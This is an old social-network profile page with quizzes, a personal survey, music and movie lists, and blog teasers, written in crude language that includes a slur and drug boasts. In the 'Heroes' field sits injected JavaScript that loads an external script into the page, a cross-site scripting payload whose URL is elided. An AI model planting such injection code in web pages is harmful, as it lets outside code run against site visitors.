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Happy is my new middle name.

Take another piss in the gene pool.

About Me

I immensely enjoy superbly and freshly made sushi, and an ice cold Heineken in a chilled glass. I am never disapointed or never not perplexed by human beings I love reading books on all manner of human behavior, but most pointedly human sexuality and interpersonal devolpment. My family and close friends are paramount in my life, I would do anything for them, as some have for me! Sarcasim is great! Dry witticisms even better. Looking forward to going back to school in jan, also studying for my MCSE.
Advanced Global Personality Test Results
Extraversion |||||||||||||||||| 80%
Stability |||||||||||||||| 66%
Orderliness |||||||||| 36%
Accommodation |||||||||||| 50%
Interdependence |||||||||||| 43%
Intellectual |||||||||||| 50%
Mystical |||||||||| 36%
Artistic |||||||||||||| 56%
Religious || 10%
Hedonism |||||||||||||||| 70%
Materialism |||||||||||||||| 63%
Narcissism |||||||||||| 43%
Adventurousness |||||||||||| 50%
Work ethic |||||| 30%
Self absorbed |||||||||||| 50%
Conflict seeking |||||||||||||||||||| 90%
Need to dominate |||||||||||||||| 63%
Romantic |||||||||||||| 56%
Avoidant |||| 16%
Anti-authority |||||||||| 36%
Wealth |||||||||||| 43%
Dependency |||||| 23%
Change averse |||| 16%
Cautiousness |||||||||||| 43%
Individuality |||||| 30%
Sexuality |||||||||||||||| 63%
Peter pan complex |||||||||| 36%
Physical security |||||||||||||||||| 76%
Physical Fitness |||||||||||||| 57%
Histrionic |||||| 23%
Paranoia |||||||||| 36%
Vanity |||||||||||||||| 63%
Hypersensitivity |||| 16%
Female cliche |||||||||| 36% Take Free Advanced Global Personality Test
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Your Dominant Intelligence is Interpersonal Intelligence
You shine in your ability to realate to and understand others.
Good at seeing others' points of view, you get how people think and feel.
You have an uncanny ability to sense true feelings, intentions, and motivations.
A natural born leader, you are great at teaching and mediating conflict.
You would make a good counselor, salesperson, politician, or business person. What Kind of Intelligence Do You Have?...
You're an Expert Kisser
You're a kissing pro, but it's all about quality and not quantity
You've perfected your kissing technique and can knock anyone's socks off
And you're adaptable, giving each partner what they crave
When it comes down to it, your kisses are truly unforgettable What Kind of Kisser Are You?

My Interests

War Hammer = Pretty Brown Eyes = Tattos = Body Pericings = Fast Cars = Loud Music = Dry Wit = Witticisms = Reading = Poems = Poetry = Zombies = Guns = Pharmaceuticals = WMD = Video games = Spades = Chess = About 5'2 110 lbs big brown eyes long brown hair Dimples = Writing = RPGS = My friends = My family = Computers = Kindness = Sarcasim = The Rain = Feet = Sushi = www.goatse.cx = Cats = Movies = Life = Love = Lust = Women= The intraweb!= People = Cats = Passion = Biking = Fire = I am sure there is more... ohwell
TELL ME ABOUT YOURSELF - The Survey
Name: Darren
Birthday: 12/12/82
Birthplace: Anchorage AK
Current Location: Anchorage AK
Eye Color: Blue
Hair Color: Brown
Height: 5'10
Right Handed or Left Handed: Both
Your Heritage: German/Irish
The Shoes You Wore Today: Audios
Your Weakness: Giving in to people
Your Fears: Spiders
Your Perfect Pizza: Like em all
Goal You Would Like To Achieve This Year: Oh theres alot...
Your Most Overused Phrase On an instant messenger: eh?
Thoughts First Waking Up: Its noon already?
Your Best Physical Feature: My eyes.... or so i have been told.
Your Bedtime: Whenever
Your Most Missed Memory: Losing a close friend
Pepsi or Coke: Pepsi
MacDonalds or Burger King: damn, i gotta say Mcdonalds
Single or Group Dates: Single
Lipton Ice Tea or Nestea: Lipton yo!
Chocolate or Vanilla: Can i have both...?
Cappuccino or Coffee: Vanilla Latte nugga
Do you Smoke: Yes
Do you Swear: Fuck yeah!
Do you Sing: FUck yeah, but i suck!
Do you Shower Daily: Twice if i can
Do you want to go to College:
Do you want to get Married: That all depends.
Do you belive in yourself: I do.
Do you get Motion Sickness: Not really.
Do you think you are Attractive: Ill do.
Are you a Health Freak: No.
Do you get along with your Parents: Yes
Do you like Thunderstorms: I do
Do you play an Instrument: The recorder.
In the past month have you Drank Alcohol: Yes
In the past month have you Smoked: Yes
In the past month have you been on Drugs: Yes
In the past month have you gone on a Date: Yes
In the past month have you gone to a Mall: Yes
In the past month have you eaten a box of Oreos: Oreos are for pussys!!!..... yeah
In the past month have you eaten Sushi: Fuck yes!!! i am addicted!
In the past month have you been on Stage: Not that i remember
In the past month have you been Dumped: No
In the past month have you gone Skinny Dipping: No
In the past month have you Stolen Anything: No
Ever been Drunk: Once in a past life.
Ever been called a Tease: Yes
Ever been Beaten up: Does ran over count?
Ever Shoplifted: No
How do you want to Die: ....ummm old age?
What do you want to be when you Grow Up: A dad.
What country would you most like to Visit: All of them!!
In a Boy/Girl..
Favourite Eye Color: Brown
Favourite Hair Color: Brown
Short or Long Hair: Long!
Height: 5'0 to 5'4
Weight: 120-140
Best Clothing Style: Whatever she looks good in
Number of Drugs I have taken: All of them i think.
Number of CDs I own: Not many... GIVE THEM BACK!!
Number of Piercings: Only 2 left
Number of Tattoos: 2
Number of things in my Past I Regret: IF i had regrets i could write a book.

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I'd like to meet:

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Music:


Add a myspace jukebox to your profile.Rock N' Roll Nigga...!!!...???I like tons of music, Static-X Crystal Method, Gym Class Heros, A perfect circle, Slayer, Queen, White zombie, Megadeath, Carlos Santana, Tool, Alkaline Trio, Coheed and Cambria, Radiohead, Death Cab For Cutie, Gorillaz, Emery, Chemical Brothers, The Cure, Weezer, A Perfect circle, Rob Zombie, Alice N Chains, Cake, Frank Black, Red hot chili peppers, Eric Clapton, peter framton, slipknot, atryu, pantera, Clutch, just to name a few, but nothing compares to cracking a luke warm zima and listening to the blue man group, talk about refreshing. ...

Movies:

I like alot of movies, but there are a few i LOVE, like...The Big Lebowski = Clerks = Braveheart = The Departed (The best movie i have seen in a very long time) = Event Horizon = Dolamite = The Saw Movies = Butch Cassidy and the Sun Dance Kid = Dances with wolves = Scarface = Pulp Fiction = The 5th Element = Strange Land = Bubba Hotep = Army of Darkness = Most Zombie themed flicks = Four Rooms = The Devils Rejects = Devil Man =

Television:

I dont watch TV it rots your brain!!! But in the rare times i need some good old mind numbing, its the History Channel, discovery channel or Adult Swim....

Books:

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Heroes:

My Mom, My dad, my siblings, Paul jones, Chip Freeman these people saved my life.'.."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

My Blog

If you have ever been in love....

If you have ever really been in love, i mean the kind of love that hurts in that oh so wonderful way then you know what i mean when i as these are some of the best lyrics ever.  Myself ...
Posted by Happy is my new middle name. on Sun, 19 Nov 2006 04:47:00 PST

DRUGS DRUGS DRUGS! AND MORE DRUGS!!!!

Ill take whatever ridicule you all wanna toss my way, but this is true and I am an authority on the matter. (Yes indeed I am, ask and ill tell, I am sure I have some stories to wow you) So have a hay...
Posted by Happy is my new middle name. on Thu, 02 Nov 2006 10:48:00 PST